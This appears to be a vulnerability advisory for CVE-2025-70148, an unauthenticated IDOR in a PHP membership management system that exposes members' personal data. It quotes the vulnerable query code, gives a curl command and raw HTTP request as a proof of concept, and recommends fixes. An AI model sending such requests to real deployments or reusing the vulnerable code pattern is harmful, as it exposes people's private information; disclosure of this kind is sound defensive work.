Post

CVE-2025-70148 - CodeAstro Membership Management System 1.0: Unauthenticated IDOR Leads to PII Disclosure

Unauthenticated IDOR in print_membership_card.php allows attackers to access membership card data of arbitrary members in CodeAstro Membership Management System 1.0.

CVE-2025-70148 - CodeAstro Membership Management System 1.0: Unauthenticated IDOR Leads to PII Disclosure

Summary

FieldDetail
CVE IDCVE-2025-70148
ProductMembership Management System in PHP 1.0
VendorCodeAstro
VulnerabilityIDOR / Broken Access Control / Information Disclosure
Attack VectorRemote, Unauthenticated
CVSS v3.1CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N — Base Score: 7.5
CWECWE-639, CWE-862
DiscovererMinhKhoa
Date2025-12-24

1. Description

CodeAstro Membership Management System in PHP 1.0 contains an Incorrect Access Control vulnerability in print_membership_card.php.

The endpoint does not enforce authentication or authorization checks and directly renders a membership card for the requested member record. As a result, an unauthenticated remote attacker can change the id parameter to access membership card data of arbitrary members (IDOR), leading to PII disclosure.

Attack Vector: Remote (Network) — direct HTTP GET request to the affected endpoint without a valid session.

CVSS v3.1: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N (Base Score: 7.5)


2. Root Cause Analysis

2.1 Missing authentication/authorization check

print_membership_card.php does not verify a valid authenticated session (e.g., isset($_SESSION['user_id'])) before accessing member data.

2.2 Insecure Direct Object Reference (IDOR)

The member identifier is taken directly from user input and used to fetch and display the member record:

1
2
3
4
5
6
$memberId = $_GET['id'];

$selectQuery = "SELECT members.*, membership_types.type AS membership_type_name
                FROM members
                JOIN membership_types ON members.membership_type = membership_types.id
                WHERE members.id = $memberId";

Because there is no authorization check (e.g., role check or ownership check), any unauthenticated user can request a different id and receive the corresponding member’s membership card.


3. Steps to Reproduce (PoC)

All requests below are sent without authentication (no cookies required).
Replace TARGET with the base URL of your deployment.

PoC #1 — Access a membership card (unauthenticated)

1
curl -i "http://TARGET/print_membership_card.php?id=1"

Observed result: The server returns a membership card page containing the member’s details.

PoC #2 — Enumerate another member’s card (IDOR) In Burp

1
2
3
GET /print_membership_card.php?id=9 HTTP/1.1
Host: localhost:4444
Content-Length: 2

Observed result: The server returns a different member’s card, confirming IDOR.

alt text

4. Impact

An unauthenticated attacker can disclose personally identifiable information (PII) for arbitrary members, such as (non-exhaustive, based on the members table):

  • Full name
  • Date of birth
  • Gender
  • Contact number
  • Email address
  • Address
  • Country / Postcode
  • Occupation
  • Membership number / type
  • Expiry date
  • Profile photo filename (if rendered)

5. Recommendation / Fix

  1. Enforce authentication at the start of print_membership_card.php:
    • session_start(); + deny access when $_SESSION['user_id'] is not set.
  2. Add authorization:
    • Restrict membership card printing to privileged roles (e.g., admin/staff), or enforce ownership rules.
  3. Defense-in-depth:
    • Use server-side logging/rate-limits to prevent ID enumeration.
    • Consider using unpredictable identifiers (UUID) if appropriate.

6. References

  • CWE-639: Authorization Bypass Through User-Controlled Key (IDOR)
  • CWE-862: Missing Authorization
  • OWASP: Insecure Direct Object Reference (IDOR)
  • https://www.phpscriptsonline.com/product/membership-management-software
This post is licensed under CC BY 4.0 by the author.